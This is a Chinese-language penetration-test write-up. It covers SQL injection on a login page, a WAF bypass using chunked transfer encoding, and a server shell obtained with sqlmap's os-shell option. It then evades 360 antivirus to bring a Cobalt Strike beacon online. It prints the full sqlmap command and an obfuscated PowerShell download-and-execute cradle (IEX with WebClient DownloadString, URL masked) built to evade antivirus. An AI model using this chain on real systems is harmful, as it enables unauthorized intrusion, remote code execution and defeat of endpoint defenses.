記一次滲透測試過程

收到某某測試任務,然後有了下面這一篇關於分塊傳輸sql注入payload姿勢分享以及繞過殺軟上線的文章。

記一次滲透測試過程

在對某個網站進行滲透測試時,發現一個登陸介面,在嘗試弱口令無果後,加個單引號發現報錯了,按照以往的經驗,這個登陸介面大機率是存在注入漏洞的。

記一次滲透測試過程

嘗試利用報錯注入,直接獲取到資料庫名稱,這一看注入不就是有了嗎(這裡構造萬能密碼進行登入繞過,發現行不通),看看使用sqlmap能不能直接獲取到伺服器許可權。

記一次滲透測試過程

然而使用sqlmap並沒有跑出來注入,不知道是什麼情況,這裡懷疑是網站對某些關鍵字元進行過濾攔截了,嘗試使用分塊傳輸進行繞過。

這裡稍微說一下分塊傳輸的原理:

在頭部加入 Transfer-Encoding: chunked 之後,就代表該報文采用了分塊編碼。這時,post請求報文中的資料部分需要改為用一系列分塊來傳輸。每個分塊包含十六進位制的長度值和資料,長度值獨佔一行,長度不包括它結尾的,也不包括分塊資料結尾的,且最後需要用0獨佔一行表示結束。

使用分塊後,預設的請求包頭資料會增加請求頭,告訴伺服器將要用分塊傳輸,語句經過拆分,變為零碎的資料包,WAF檢測機制就不會認為此語句是一個危險的程式碼,在分塊傳輸的資料包沒有完全傳完的時候,伺服器是不做任何響應,等到全部傳完後,在後臺進行完整的語句拼接,帶入資料庫查詢,從而繞過WAF的限制。

簡單的來說就是把

資料包分成一塊一塊的傳過去,從而來騙過WAF。

在burp上直接利用chunked-coding-converter外掛進行測試,發現分塊傳輸是可行的。

記一次滲透測試過程

那就直接使用sqlmap將流量代理到burp上使用分塊傳輸進行繞過,成功獲取到伺服器許可權:

sqlmap -r sql。txt ——proxy=http://127。0。0。1:8080 ——level 5 ——os-shell ——thread 5

記一次滲透測試過程

已經獲取到了伺服器許可權,經測試發現目標主機可以出網,那就可以直接上線了,在上線之前先檢視一下主機程序發現存在360防毒。

記一次滲透測試過程

這個時候想上線,肯定是要想辦法繞過360的,這裡使用

CS來生產powershell指令碼

,對命令進行格式運算子混淆一下來繞過殺軟。

&(“{1}{0}” -f ‘ami’,‘who’) #執行whoami

記一次滲透測試過程

powershell。exe -nop -c “&(‘{1}{0}’ -f ‘EX’,‘I’)(&(‘{1}{0}{2}’ -f ‘Obje’,‘New-’,‘ct’)(‘{1}{4}{3}{0}{2}’ -f‘Clie’,‘N’,‘nt’,‘t。Web’,‘e’))。(‘{1}{3}{0}{2}’ -f ‘trin’,‘Downl’,‘g’,‘oadS’)。Invoke((‘{1}{5}{2}{4}{3}{0}’ -f ‘x’,‘xx’,‘x’,‘xxx’,‘xxx’,‘xxx’))”

記一次滲透測試過程

成功繞過殺軟上線成功。

記一次滲透測試過程